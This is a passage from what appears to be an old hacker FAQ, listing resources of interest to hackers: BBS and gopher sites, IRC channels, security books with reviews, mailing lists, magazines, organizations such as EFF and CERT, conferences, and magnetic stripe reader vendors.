    telnet lust.isca.uiowa.edu 2600 (underground bbs) (temporarily down)
    pcspm2.dar.csiro.au (Virtual Doughnutland BBS)
    prince.carleton.ca 31337 (Twilight of The Idols)



    H-05. What are some gopher sites of interest to hackers?

    ba.com (Bell Atlantic)
    cell-relay.indiana.edu (Cell Relay Retreat)
    coast.cs.purdue.edu (COAST)
    csrc.ncsl.nist.gov (NIST Security Gopher)
    gopher.acm.org (SIGSAC (Security, Audit & Control))
    gopher.cpsr.org (Computer Professionals for Social Responsibility)
    gopher.eff.org (Electonic Frontier Foundation)
    gopher.panix.com (Panix)
    gw.PacBell.com (Pacific Bell)
    iitf.doc.gov (NITA -- IITF)
    info.itu.ch (International Telegraph Union)
    ncjrs.aspensys.com (National Criminal Justice Reference Service)
    oss.net (Open Source Solutions)
    spy.org (Computer Systems Consulting)
    wiretap.spies.com (Wiretap)



    H-06. What are some World wide Web (WWW) sites of interest to hackers?

    The maintenance of this section simply grew out of control. There is information of interest to hackers all over the World Wide Web.

    To find what you are looking for, consult one of these fine search engines:

    www.google.com Google
    www.hotbot.com HotBot: The Wired Search Center
    www.altavista.com AltaVista Search Network
    www.yahoo.com Yahoo!
    www.hotbot.lycos.com Lycos
    www.webcrawler.com WebCrawler
    www.infoseek.go.com InfoSeek
    www.excite.com eXcite
    http://groups.google.com/ Google Groups



    H-07. What are some IRC channels of interest to hackers?

    #2600
    #cellular
    #hack
    #phreak
    #linux
    #root
    #unix
    #warez



    H-08. What are some BBS's of interest to hackers?

    Rune Stone (203)832-8441 NUP: Cyberdeck
    Strange Days (207)490-2158
    The Truth Sayer's Domain (210)493-9975
    Independent Nation (413)573-1809
    Ut0PiA (315)656-5135
    underworld_1994.com (514)683-1894
    Alliance Communications (612)251-8596
    Maas-Neotek (617)855-2923
    Apocalypse 2000 (847)831-0484
    K0dE Ab0dE (713)579-2276
    fARM R0Ad 666 (713)855-0261
    kn0wledge Phreak <k0p> BBS (719)578-8288 NUP=NO NUP
    The Edge of Reality (805)496-7460
    Static Line (806)747-0802
    Area 51 (908)526-4384
    The Drunk Forces +972-3-5733477



    H-09. What are some books of interest to hackers?

    General Computer Security

    Computer Security Basics
    Author: Deborah Russell and G.T. Gengemi Sr. Publisher: O'Reilly & Associates, Inc. Copyright Date: 1991
    ISBN: 0-937175-71-4

    This is an excellent book. It gives a broad overview of computer security without sacrificing detail. A must read for the beginning security expert.

    Information Systems Security
    Author: Philip Fites and Martin Kratz Publisher: Van Nostrad Reinhold
    Copyright Date: 1993
    ISBN: 0-442-00180-0

    Computer Related Risks
    Author: Peter G. Neumann
    Publisher: Addison-Wesley
    Copyright Date: 1995
    ISBN: 0-201-55805-X

    Computer Security Management
    Author: Karen Forcht
    Publisher: boyd & fraser publishing company Copyright Date: 1994
    ISBN: 0-87835-881-1

    The Stephen Cobb Complete Book of PC and LAN Security Author: Stephen Cobb
    Publisher: Windcrest Books
    Copyright Date: 1992
    ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback)

    Security in Computing
    Author: Charles P. Pfleeger
    Publisher: Prentice Hall
    Copyright Date: 1989
    ISBN: 0-13-798943-1.

    Building a Secure Computer System
    Author: Morrie Gasser
    Publisher: Van Nostrand Reinhold Co., New York. Copyright Date:
    ISBN: 0-442-23022-2

    Modern Methods for Computer Security
    Author: Lance Hoffman
    Publisher: Prentice Hall
    Copyright Date: 1977
    ISBN:

    Windows NT 3.5 Guidelines for Security, Audit and Control Author:
    Publisher: Microsoft Press
    Copyright Date:
    ISBN: 1-55615-814-9

    Protection and Security on the Information Superhighway Author: Dr. Frederick B. Cohen)
    Publisher: John Wiley & Sons
    Copyright Date: 1995
    ISBN: 0-471-11389-1

    Commonsense Computer Security
    Author: Martin Smith
    Publisher: McGraw-Hill
    Copyright Date: 1993
    ISBN: 0-07-707805-5

    Combatting Computer Crime
    Author: Jerry Papke
    Publisher: McGraw-Hill, Inc. / Chantico Publishing Company, Inc. Copyright Date: 1992
    ISBN: 0-8306-7664-3

    Computer Crime: a Crimefighters Handbook
    Author: David Icove, Karl Seger and William VonStorch
    Publisher: O'Reilly & Associates
    Copyright Date: 1995
    ISBN: 1-56592-086-4

    Unix System Security

    Practical Unix Security
    Author: Simson Garfinkel and Gene Spafford Publisher: O'Reilly & Associates, Inc. Copyright Date: 1991
    ISBN: 0-937175-72-2

    Unix System Security
    Author: Rik Farrow
    Publisher: Addison Wesley
    Copyright Date: 1991
    ISBN: 0-201-57030-0

    Unix Security: A Practical Tutorial

    Author: N. Derek Arnold
    Publisher: McGraw Hill
    Copyright Date: 1993
    ISBN: 0-07-002560-6

    Unix System Security: A Guide for Users and Systems Administrators Author: David A. Curry
    Publisher: Addison-Wesley
    Copyright Date: 1992
    ISBN: 0-201-56327-4

    Unix System Security
    Author: Patrick H. Wood and Stephen G. Kochan Publisher: Hayden Books
    Copyright Date: 1985
    ISBN: 0-672-48494-3

    Unix Security for the Organization
    Author: Richard Bryant
    Publisher: Sams
    Copyright Date: 1994
    ISBN: 0-672-30571-2

    Unix System Security Essentials
    Author: Christopher Braun
    Publisher: Addison Wesley
    Copyright Date: 1995
    ISBN: 0-201-42775-3


    Firewalls

    Building Internet Firewalls
    Author: D. Brent Chapman and Elizabeth D. Zwicky Publisher: O'Reilly and Associates, Inc. Copyright Date: 1995
    ISBN: 1-56592-124-0

    If you are going to purchase a book on firewalls, this is the one to buy.

    Firewalls and Internet Security
    Author: William Cheswick and Steven Bellovin Publisher: Addison Wesley
    Copyright Date: 1994
    ISBN: 0-201-63357-4

    Internet Firewalls and Network Security Author: Karanjit S. Siyan and Chris Hare Publisher: New Riders Publishing
    Copyright Date: 1995
    ISBN: 1-56205-437-6


    Network Security

    Network Security Secrets
    Author: David J. Stang and Sylvia Moon Publisher: IDG Books
    Copyright Date: 1993
    ISBN: 1-56884-021-7

    Not a total waste of paper, but definitely not worth the $49.95 purchase price. The book is a rehash of previously published information. The only secret we learn from reading the book is that Sylvia Moon is a younger woman madly in love with the older David Stang.

    Complete Lan Security and Control
    Author: Peter Davis
    Publisher: Windcrest / McGraw Hill
    Copyright Date: 1994
    ISBN: 0-8306-4548-9 and 0-8306-4549-7

    Network Security
    Author: Steven Shaffer and Alan Simon Publisher: AP Professional
    Copyright Date: 1994
    ISBN: 0-12-638010-4

    Network Security: How to Plan For It and How to Achieve It
    Author: Richard M. Baker
    Publisher

    McGraw-Hill, Inc.
    Copyright Date:
    ISBN: 0-07-005141-0

    Network Security
    Author: Steven L. Shaffer and Alan R. Simon Publisher: Academic Press
    Copyright Date: 1994
    ISBN: 0-12-638010-4

    Network Security: Private Communications in a Public World
    Author: Charlie Kaufman, Radia Perlman and Mike Speciner
    Publisher: Prentice Hall
    Copyright Date: 1995
    ISBN: 0-13-061466-1

    Network and Internetwork Security: Principles and Practice Author: William Stallings
    Publisher: Prentice Hall
    Copyright Date: 1995
    ISBN: 0-02-415483-0

    Implementing Internet Security
    Author: William Stallings
    Publisher: New Rider Publishing
    Copyright Date: 1995
    ISBN: 1-56205-471-6

    Actually Useful Internet Security Techniques Author: Larry J. Hughes, Jr.
    Publisher: New Riders Publishing
    Copyright Date: 1995
    ISBN: 1-56205-508-9


    Cryptology

    Applied Cryptography: Protocols, Algorithms, and Source Code in C Author: Bruce Schneier
    Publisher: John Wiley & Sons
    Copyright Date: 1994
    ISBN: 0-471-59756-2

    Bruce Schneier's book replaces all other texts on cryptography. If you are interested in cryptography, this is a must read. This may be the first and last book on cryptography you may ever need to buy.

    Cryptography and Data Security
    Author: Dorothy Denning
    Publisher: Addison-Wesley Publishing Co. Copyright Date: 1982
    ISBN: 0-201-10150-5

    Protect Your Privacy: A Guide for PGP Users Author: William Stallings
    Publisher: Prentice-Hall
    Copyright Date: 1994
    ISBN: 0-13-185596-4

    Codebreakers
    Author: Kahn
    Publisher: Simon and Schuster
    Copyright Date:
    ISBN:0-02-560460-0

    Codebreakers: The Inside Story of Bletchley Park
    Author: Francis Harry Hinsley and Alan Stripp
    Publisher: Oxford University Press
    Copyright Date: 1993
    ISBN:0-19-285304-X

    Cryptanalysis, a study of ciphers and their solution Author: Gaines, Helen Fouche
    Publisher: Dover Publications
    Copyright Date: 1956
    ISBN:

    Computer Privacy Handbook
    Author: Andre' Bacard
    Publisher: Peachpit Press
    Copyright Date: 1995
    ISBN: 1-56609-171-3

    E-Mail Security with PGP and PEM
    Author: Bruce Schneier
    Publisher: John Wiley & Sons
    Copyright Date: 1995
    ISBN: 0-471-05318-X

    PGP: Pretty Good Privacy
    Author: Simson Garfinkel
    Publisher: O'Reilly & Associates, Inc.
    Copyright Date: 1995
    ISBN: 1-56592-098-8


    Programmed Threats

    The Little Black Book of Computer Viruses Author: Mark Ludwig
    Publisher: American Eagle Publications Copyright Date: 1990
    ISBN: 0-929408-02-0

    The Giant Black Book of Computer Viruses Author: Mark Ludwig
    Publisher: American Eagle Publications Copyright Date: 1995
    ISBN:

    Computer Viruses, Artificial Life and Evolution Author: Mark Ludwig
    Publisher: American Eagle Publications Copyright Date: 1993
    ISBN: 0-929408-07-1

    Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other Threats to Your System
    Author: John McAfee and Colin Haynes
    Publisher: St. Martin's Press
    Copyright Date: 1989
    ISBN: 0-312-03064-9 and 0-312-02889-X

    The Virus Creation Labs: A Journey Into the Underground Author: George Smith
    Publisher: American Eagle Publications Copyright Date: 1994
    ISBN: 0-929408-09-8

    A Short Course on Computer Viruses
    Author: Dr. Fred Cohen
    Publisher: John Wiley & Sons
    Copyright Date: 1994
    ISBN: 0-471-00769-2

    Robert Slade's Guide to Computer Viruses Author: Robert Slade
    Publisher: Springer-Verlag
    Copyright Date: 1994
    ISBN: 0-387-94311-0 / 3-540-94311-0


    Telephony

    Engineering and Operations in the Bell System Author: R.F. Rey
    Publisher: Bell Telephont Laboratories Copyright Date: 1983
    ISBN: 0-932764-04-5

    Although hopelessly out of date, this book remains THE book on telephony. This book is 100% Bell, and is loved by phreaks the world over.

    Telephony: Today and Tomorrow
    Author: Dimitris N. Chorafas
    Publisher: Prentice-Hall
    Copyright Date: 1984
    ISBN: 0-13-902700-9

    The Telecommunications Fact Book and Illustrated Dictionary Author: Ahmed S. Khan
    Publisher: Delmar Publishers, Inc.
    Copyright Date: 1992
    ISBN: 0-8273-4615-8

    I find this dictionary to be an excellent reference book on telephony, and I recommend it to anyone with serious intentions in the field.

    Tandy/Radio Shack Cellular Hardware
    Author: Judas Gerard and Damien Thorn Publisher: Phoenix Rising Communications Copyright Date: 1994
    ISBN:

    The Phone Book
    Author: Carl Oppendahl
    Publisher: Consumer Reports
    Copyright Date:
    ISBN: 0-89043-364-x

    Listing of every cellular ID in the us, plus roaming ports, and info numbers for each carrier.

    Principles of Caller I.D.
    Author:
    Publisher: International MicroPower Corp. Copyright Date:
    ISBN:


    Hacking History and Culture

    The Hacker Crackdown: Law and Disorder on the Electronic Frontier Author: Bruce Sterling
    Publisher: Bantam Books
    Copyright Date: 1982
    ISBN: 0-553-56370-X

    Bruce Sterling has recently released the book FREE to the net. The book is much easier to read in print form, and the paperback is only $5.99. Either way you read it, you will be glad you did. Mr. Sterling is an excellent science fiction author and has brought his talent with words to bear on the hacking culture. A very enjoyable reading experience.

    Hackers: Heroes of the Computer Revolution Author: Steven Levy
    Publisher: Doubleday
    Copyright Date: 1984
    ISBN: 0-440-13495-6

    Cyberpunk
    Author: Katie Hafner and John Markoff Publisher: Simon and Schuster
    Copyright Date: 1991
    ISBN: 0-671-77879-X

    The Cuckoo's Egg
    Author: Cliff Stoll
    Publisher: Simon and Schuster
    Copyright Date: 1989
    ISBN: 0-671-72688-9

    Masters of Deception
    Author: Quittner, John
    Publisher: HarperCollins Publishers, Incorporated, New York, NY ISBN: 0-06-017030-1


    Unclassified

    The Hacker's Handbook
    Author: Hugo Cornwall
    Publisher: E. Arthur Brown Company
    Copyright Date:
    ISBN: 0-912579-06-4

    Secrets of a Super Hacker
    Author: The Knightmare
    Publisher: Loompanics
    Copyright Date: 1994
    ISBN: 1-55950-106-5

    The Knightmare is no super hacker. There is little or no real information in this book. The Knightmare gives useful advice like telling you not to dress up before going trashing. The Knightmare's best hack is fooling Loompanics into publishing this garbage.

    The Day The Phones Stopped
    Author: Leonard Lee
    Publisher: Primus / Donald I Fine, Inc. Copyright Date: 1992
    ISBN: 1-55611-286-6

    Total garbage. Paranoid delusions of a lunatic. Less factual data that an average issue of the Enquirer.

    Information Warfare
    Author: Winn Swartau
    Publisher: Thunder Mountain Press
    Copyright Date: 1994
    ISBN: 1-56025-080-1

    An Illustrated Guide to the Techniques and Equipment of Electronic Warfare Author: Doug Richardson
    Publisher: Salamander Press
    Copyright Date:
    ISBN: 0-668-06497-8



    H-10. What are some videos of interest to hackers?

    'Unauthorized Access' by Annaliza Savage $25 on VH S format in 38-min
    Savage Productions
    1803 Mission St., #406
    Santa Cruz, CA 95060

    Hacker's '95: A Phon-E & R.F. Burns Production
    See the video Emmanuel Goldstein thought would have the Feds knocking at his door. Coverage of Summercon'95 Coverage of Defcon III The big Y fiasco at Summercon. PMF (narc) interviews Emmanuel Goldstein & Eric BloodAxe. Trip to Area 51 and interview with Psyhospy Coverage of the Secret Service briefing on Operation Cyber Snare (recent cell busts) Talks on Crypto, HERF, the Feds, etc. All information is presented for educational purposes only. Not for sale to government or law enforcement organizations. Running time aproximately 90 minutes. $34.95 ($29.95 if ordered via the WWW page) Custom Video Productions (908)842-6378 [email protected]



    H-11. What are some mailing lists of interest to hackers?

    Academic Firewalls
    Registration Address: Send a message to [email protected] containing the line "subscribe firewalls [email protected]"

    The Alert
    Registration Address: Send a message to [email protected] containing the line "subscribe alert"

    Bugtraq
    Reflector Address: [email protected]
    Registration Address: [email protected]

    Cert Tools
    Reflector Address: [email protected] Registration Address: [email protected]

    Computers and Society
    Reflector Address: [email protected] Registration Address: [email protected]

    Coordinated Feasibility Effort to Unravel State Data
    Reflector Address: [email protected] Registration Address:

    CPSR Announcement List
    Reflector Address: [email protected] Registration Address:

    CPSR - Intellectual Property
    Reflector Address: [email protected] Registration Address:

    CPSR - Internet Library
    Reflector Address:[email protected] Registration Address:

    Cypherpunks
    Registration Address: Send a message to [email protected] containing the line "subscribe cypherpunks"

    DefCon Announcement List
    Registration Address: Send a message to [email protected] containing the line "subscribe dc-announce"

    DefCon Chat List
    Registration Address: Send a message to [email protected] containing the line "subscribe dc-stuff"

    Discount Long Distance Digest
    Registration Address: Send a message to: [email protected] containing the line "subscribe"

    Electronic Payment
    Registration Address: [email protected]

    IDS (Intruder Detection Systems)
    Registration Address: Send a message to [email protected] containing the line "subscribe ids"

    Information Warfare
    Registration Address: E-mail [email protected] with a request to be added.

    Linux-Alert
    Registration Address: [email protected]

    Linux-Security
    Registration Address: [email protected]

    Macintosh Security
    Reflector Address: [email protected] Registration Address: [email protected]

    NetWare Security
    Registration Address: Send a message to [email protected] containing the line "subscribe netware-hack"

    NeXT Managers
    Registration Address: [email protected]

    PGP3 announcement list
    Registration Address: Send a message to [email protected] with the subject of "Your Name [email protected]">

    Phiber-Scream
    Registration Address: Send a message to [email protected] containing the line "subscribe phiber-scream [email protected]"

    phruwt-l (Macintosh H/P)
    Registration Address: Send a message to [email protected] with the subject "phruwt-l"

    rfc931-users
    Reflector Address: [email protected] Registration Address: [email protected]

    RSA Users
    Reflector Address: [email protected] Registration Address: [email protected]

    WWW Security
    Registration Address: [email protected]




    H-12. What are some print magazines of interest to hackers?

    2600 - The Hacker Quarterly

    E-mail addresses:
    [email protected] To get info on 2600
    [email protected] To get a copy of our index
    [email protected] For info on starting your own meeting
    [email protected] For subscription problems
    [email protected] To send us a letter
    [email protected] To send us an article
    [email protected] To send us a general message

    Subscription Address:

    2600 Subscription Dept
    PO Box 752
    Middle Island, NY
    11953-0752

    Letters and article submission address:

    2600 Editorial Department
    PO Box 99
    Middle Island, NY
    11953-0099
    Phone Number: (516)751-2600
    Fax Number: (516)474-2677
    Voice BBS: (516)473-2626

    Subscriptions: United States: $21/yr individual, $50 corporate.
    Overseas: $30/yr individual, $65 corporate

    Gray Areas

    Gray Areas examines gray areas of law and morality and subject matter which is illegal, immoral and/or controversial. Gray Areas explores why hackers hack and puts hacking into a sociological framework of deviant behavior.

    E-Mail Address: [email protected]
    E-Mail Address: [email protected]

    U.S. Mail Address:
    Gray Areas
    PO Box 808
    Broomall, PA 19008
    Subscriptions:
    $26.00 4 issues first class
    $34.00 4 issues foreign (shipped air mail)

    Privacy Newsletter

    Privacy Newsletter is a monthly newsletter devoted to showing consumers how to get privacy and keep it.

    E-Mail Address: [email protected]

    Subscription Address:

    Privacy Newsletter
    P.O. Box 8206
    Philadelphia, PA 19101-8206

    Subscriptions: $99/yr (US) $149/yr (Overseas)


    Wired

    Subscription Address: [email protected] or

    Wired
    PO Box 191826
    San Francisco, CA 94119-9866

    Letters and article submission address: [email protected] or

    Wired
    544 Second Street
    San Francisco, CA 94107-1427

    Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas)


    Nuts & Volts

    T& L Publications
    430 Princeland Court
    Corona, CA 91719
    (800)783-4624 (Voice) (Subscription Only Order Line) (909)371-8497 (Voice)
    (909)371-3052 (Fax)
    CIS: 74262,3664


    Cybertek: The Cyberpunk Technical Journal

    P.O. Box 64
    Brewster, NY 10509

    Frequency: Bimonthly
    Domestic Subscription Rate: $15/year (6 issues)

    PrivateLine

    5150 Fair Oaks Blvd. #101-348
    Carmichael, CA 95608 USA

    E-Mail: [email protected]

    Subscriptions: $24 a year for six issues

    Text of back issues are at the etext archive at Michigan. Gopher or ftp to: etext.archive.umich.edu/pub/Zines/PrivateLine



    H-13. What are some e-zines of interest to hackers?

    CoTNo: Communications of The New Order ftp.etext.org /pub/Zines/CoTNo
    Empire Times ftp.etext.org /pub/Zines/Emptimes
    Phrack http://www.phrack.org/



    H-14. What are some organizations of interest to hackers?

    Computer Professionals for Social Responsibility (CPSR)

    CPSR empowers computer professionals and computer users to advocate for the responsible use of information technology and empowers all who use computer technology to participate in the public debate. As technical experts, CPSR members provide the public and policy makers with realistic assessments of the power, promise, and limitations of computer technology. As an organization of concerned citizens, CPSR directs public attention to critical choices concerning the applications of computing and how those choices affect society.

    By matching unimpeachable technical information with policy development savvy, CPSR uses minimum dollars to have maximum impact and encourages broad public participation in the shaping of technology policy.

    Every project we undertake is based on five principles:

    • We foster and support public discussion of and public responsibility for decisions involving the use of computers in systems critical to society.

    • We work to dispel popular myths about the infallibility of technological systems.

    • We challenge the assumption that technology alone can solve political and social problems.

    • We critically examine social and technical issues within the computer profession, nationally and internationally.

    • We encourage the use of computer technology to improve the quality of life.

    CPSR Membership Categories:

  • 75 REGULAR MEMBER
  • 50 Basic member
  • 200 Supporting member
  • 500 Sponsoring member
  • 1000 Lifetime member
  • 20 Student/low income member
  • 50 Foreign subscriber
  • 50 Library/institutional subscriber

  • CPSR National Office
    P.O. Box 717
    Palo Alto, CA 94301
    415-322-3778
    415-322-3798 (FAX)
    E-mail: [email protected]


    Electronic Frontier Foundation (EFF)

    The Electronic Frontier Foundation (EFF) is dedicated to the pursuit of policies and activities that will advance freedom and openness in computer-based communications. It is a member-supported, nonprofit group that grew from the conviction that a new public interest organization was needed in the information age; that this organization would enhance and protect the democratic potential of new computer communications technology. From the beginning, the EFF determined to become an organization that would combine technical, legal, and public policy expertise, and would apply these skills to the myriad issues and concerns that arise whenever a new communications medium is born.

    Memberships are $20.00 per year for students, $40.00 per year for regular members, and $100.00 per year for organizations.

    The Electronic Frontier Foundation, Inc. 1001 G Street, NW
    Suite 950 East
    Washington, D.C. 20001
    (202)544 9237
    (202)547 5481 FAX
    Internet: [email protected]


    Free Software Foundation (FSF) and GNU

    The Free Software Foundation is dedicated to eliminating restrictions on people's right to use, copy, modify, and redistribute computer programs. We promote the development and use of free software in all areas using computers. Specifically, we are putting together a complete, integrated software system named "GNU" ("GNU's Not Unix", pronounced "guh-new") that will be upwardly compatible with Unix. Most parts of this system are already being used and distributed.

    The word "free" in our name refers to freedom, not price. You may or may not pay money to get GNU software, but regardless you have two specific freedoms once you get it: first, the freedom to copy a program and give it away to your friends and co-workers; and second, the freedom to change a program as you wish, by having full access to source code. You can study the source and learn how such programs are written. You may then be able to port it, improve it, and share your changes with others. If you redistribute GNU software you may charge a distribution fee or give it away, so long as you include the source code and the GPL (GNU General Public License).

    Free Software Foundation, Inc. Telephone: +1-617-876-3296
    673 Massachusetts Avenue Fax: +1-617-492-9057
    Cambridge, MA 02139-3309 USA Fax (in Japan): 0031-13-2473 (KDD)
    Electronic mail: [email protected] 0066-3382-0158 (IDC)

    GNU is to be a complete integrated computational environment: everything you need to work with a computer, either as a programmer or as a person in an office or home. The core is an operating system, which consists of a central program called a kernel that runs the other programs on the computer, and a large number of ancillary programs for handling files, etc. The Free Software Foundation is developing an advanced kernel called the Hurd.

    A complete system has tools for programmers, such as compilers and debuggers. It also has editors, sketchpads, calendars, calculators, spreadsheets, databases, electronic mail readers, and Internet navigators. The FSF already distributes most of the programs used in an operating system, all the tools regularly used by programmers, and much more.


    The League for Programming Freedom (LPF)

    The League for Programming Freedom is an organization of people who oppose the attempt to monopolize common user interfaces through "look and feel" copyright lawsuits. Some of us are programmers, who worry that such monopolies will obstruct our work. Some of us are users, who want new computer systems to be compatible with the interfaces we know. Some are founders of hardware or software companies, such as Richard P. Gabriel. Some of us are professors or researchers, including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S. Boyer and Patrick Winston.

    "Look and feel" lawsuits aim to create a new class of government- enforced monopolies broader in scope than ever before. Such a system of user-interface copyright would impose gratuitous incompatibility, reduce competition, and stifle innovation.

    We in the League hope to prevent these problems by preventing user-interface copyright. The League is NOT opposed to copyright law as it was understood until 1986 -- copyright on particular programs. Our aim is to stop changes in the copyright system which would take away programmers' traditional freedom to write new programs compatible with existing programs and practices.

    Annual dues for individual members are $42 for employed professionals, $10.50 for students, and $21 for others. We appreciate activists, but members who cannot contribute their time are also welcome.

    To contact the League, phone (617) 243-4091, send Internet mail to the address [email protected], or write to:

    League for Programming Freedom
    1 Kendall Square #143
    P.O. Box 9171
    Cambridge, MA 02139 USA


    SotMesc

    Founded in 1989, SotMesc is dedicated to preserving the integrity and cohesion of the computing society. By promoting computer education, liberties and efficiency, we believe we can secure freedoms for all computer users while retaining privacy.

    SotMesc maintains the CSP Internet mailing list, the SotMesc Scholarship Fund, and the SotMesc Newsletter.

    The SotMESC is financed partly by membership fees, and donations, but mostly by selling hacking, cracking, phreaking, electronics, internet, and virus information and programs on disk and bound paper media.

    SotMesc memberships are $20 to students and $40 to regular members.

    SotMESC
    P.O. Box 573
    Long Beach, MS 39560


    Computer Emergency Response Team (CERT)

    CERT is the Computer Emergency Response Team that was formed by the Defense Advanced Research Projects Agency (DARPA) in November 1988 in response to the needs exhibited during the Internet worm incident. The CERT charter is to work with the Internet community to facilitate its response to computer security events involving Internet hosts, to take proactive steps to raise the community's awareness of computer security issues, and to conduct research targeted at improving the security of existing systems.

    CERT products and services include 24-hour technical assistance for responding to computer security incidents, product vulnerability assistance, technical documents, and seminars. In addition, the team maintains a number of mailing lists (including one for CERT advisories) and provides an anonymous FTP server: cert.org (192.88.209.5), where security-related documents, past CERT advisories, and tools are archived.

    CERT contact information:

    U.S. mail address
    CERT Coordination Center
    Software Engineering Institute
    Carnegie Mellon University
    Pittsburgh, PA 15213-3890
    U.S.A.

    Internet E-mail address
    [email protected]

    Telephone number
    (412)268-7090 (24-hour hotline)
    CERT Coordination Center personnel answer 7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for emergencies during other hours.

    FAX number
    (412)268-6989



    H-15. What are some radio programs of interest to hackers?

    Off The Hook New York 99.5 FM Tue 8pm EST
    Off The Hook Short Wave 7415 kHz Wed 6pm EST
    Full Disclosure Live Short Wave WWCR 5065 kHz Sun 8pm EST
    Full Disclosure Live Oil City, PA WOYL AM-1340 Sun 8pm EST
    Full Disclosure Live Satellite Telstar 302 (T2), Ch 21, 5.8 Sun 8pm EST



    H-16. What are other FAQ's of interest to hackers?

    The Unofficial Netware Hack FAQ
    Author: Simple Nomad <[email protected]>
    http://nmrc.org/faqs/netware/index.html

    The Unofficial NT Hack FAQ
    Author: Simple Nomad <[email protected]>
    http://nmrc.org/faqs/nt/index.html

    The Unofficial Web Hack FAQ
    Author: Simple Nomad <[email protected]>
    http://nmrc.org/faqs/www/index.html

    The PGP Attack FAQ
    Author: Route

    The UK Phone Phreaking F.A.Q.
    Author: Pyro Teknik <[email protected]> <[email protected]>
    http://www.crossbar.demon.co.uk/ukphreak.txt

    alt.ph.uk FAQ
    Author: Virtua7 [email protected]
    http://alt.ph.uk.com/

    Mac Hack FAQ: Defeating Security
    Author: AX1P ([email protected])

    Frequently Asked Questions About Red Boxing Author: Mr. Sandman ([email protected])

    VMS FAQ (Frequently Ask Questions)
    Author: The Beaver ([email protected])

    Anonymous FTP FAQ
    Author: Christopher Klaus <[email protected]> of Internet Security Systems, Inc.
    ftp://ftp.iss.net /pub/faq/anonftp

    Compromise FAQ: What if your Machines are Compromised by an Intruder
    Author: Christopher Klaus <[email protected]> of Internet Security Systems, Inc.
    ftp://ftp.iss.net /pub/faq/compromise

    Security Patches FAQ
    Author: Christopher Klaus <[email protected]> of Internet Security Systems, Inc.
    ftp//:ftp.iss.net /pub/faq/patch

    Sniffer FAQ
    Author: Christopher Klaus <[email protected]> of Internet Security Systems, Inc.
    ftp://ftp.iss.net /pub/faq/sniff

    Vendor Security Contacts: Reporting Vulnerabilities and Obtaining New Patches
    Author: Christopher Klaus <[email protected]> of Internet Security Systems, Inc.
    ftp://ftp.iss.net /pub/faq/vendor

    Cryptography FAQ
    Author: The Crypt Cabal
    ftp://rtfm.mit.edu /pub/usenet-by-group/sci.crypt/

    Firewalls FAQ
    Author: Marcus J. Ranum ([email protected])
    ftp://rtfm.mit.edu /pub/usenet-by-group/comp.security.misc/

    Buying a Used Scanner Radio
    Author: [email protected] (Bob Parnass, AJ9S)
    ftp://rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

    How to Find Scanner Frequencies
    Author: [email protected] (Bob Parnass, AJ9S)
    ftp://rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

    Introduction to Scanning
    Author: [email protected] (Bob Parnass, AJ9S)
    ftp://rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

    Low Power Broadcasting FAQ
    Author: Rick Harrison.
    ftp://rtfm.mit.edu /pub/usenet-by-group/alt.radio.pirate/

    RSA Cryptography Today FAQ
    Author: Paul Fahn
    ftp://rtfm.mit.edu /pub/usenet-by-group/sci.crypt/

    VIRUS-L comp.virus Frequently Asked Questions (FAQ) Author: Kenneth R. van Wyk <[email protected]>
    ftp://rtfm.mit.edu /pub/usenet-by-group/comp.virus/

    Where to get the latest PGP (Pretty Good Privacy) FAQ Author: [email protected] (Michael Johnson)
    ftp://rtfm.mit.edu /pub/usenet-by-group/alt.security.pgp/

    alt.locksmithing answers to Frequently Asked Questions (FAQ) Author: [email protected] (Joe Ilacqua)
    ftp://rtfm.mit.edu /pub/usenet-by-group/alt.locksmithing/

    comp.os.netware.security FAQ
    Author: Fauzan Mirza <[email protected]>
    ftp://rtfm.mit.edu /pub/usenet-by-group/comp.os.netware.security/

    rec.pyrotechnics FAQ
    Author: [email protected] (Hans Josef Wagemueller)
    ftp://rtfm.mit.edu /pub/usenet-by-group/rec.pyrotechnics/



    H-17. What are some conferences of interest to hackers?

    Every year a hacker convention disappears and two new ones crop up in it's place.

    CuervoCon every Winter in Texas
    http://www.cuervocon.org

    DefCon every Summer in Las Vegas
    http://www.defcon.org

    For more information, keep your eyes on the web.



    H-18. What are some telephone numbers of interest to hackers?

    The DefCon Voice Bridge (801)855-3326



    H-19. Where can I purchase a magnetic stripe reader/writer?

    Mag-Tek
    http://www.magtek.com
    20725 S. Annalee Avenue
    Carson, CA 90746
    (310)631-8602 (Voice)
    (310)631-3956 (Fax)

    Track Write Interface Model Price
    2 No Keyboard/RS-232
    1,2 No Keyboard/RS-232
    2,3 No Keyboard/RS-232
    1,2,3 No RS-232
    1,2,3 Yes Standalone/RS-232


    American Microsystems
    http://www.amis.com
    2190 Regal Parkway
    Euless, TX 76040
    (800)648-4452 (Voice)
    (817)685-6232 (Fax)

    Track Write Interface Model Price
    2 No     $250


    CPU Advance
    PO Box 2434
    Harwood Station
    Littleton, MA 01460
    (508)624-4819 (Fax)

    Track Write Interface Model Price
    1,2 Yes   C1523 $389
    2,3 Yes   C1534 $389


    Herback and Rademan
    http://www.herbach.com
    18 Canal Street
    P.O. Box 122
    Bristol, PA 19007-0122
    (215)788-5583 (Voice)
    (215)788-9577 (Fax)

    Track Write Interface Model Price
    2 No   TM92CMP1966 $15


    Neuron Electronics
    http://www.neuron-usa.com
    3848 Del Amo Boulevard
    Suite #301
    Torrance, CA 90503
    (310)793-1300 (Voice)
    (310)793-1304 (Fax)

    Track Write Interface Model Price
    2 Yes   MCR 231-2A  


    Omron Electronics, Inc.
    http://www.omron.com
    One East Commerce Drive
    Schaumburg, IL 60173
    (800)556-6766 (Voice)
    (708)843-7787 (Fax)

    Security Photo Corporation
    1051 Commonwealth Avenue
    Boston, MA 02215
    (800)533-1162 (Voice)
    (617)783-3200 (Voice)
    (617)783-1966 (Voice)

    Timeline Inc,
    http://www.timeline-inc.com/
    23605 Telo Avenue
    Torrence, CA 90505
    (800)872-8878 (Voice)
    (800)223-9977 (Voice)

    Alltronics
    http://www.alltronics.com
    2300 Zanker Road
    San Jose, CA 95131
    (408) 943-9774 Voice
    (408) 943-9776 Fax
    (408) 943-0622 BBS
    Part Number: 92U067

    Atalla Security Products (HP)
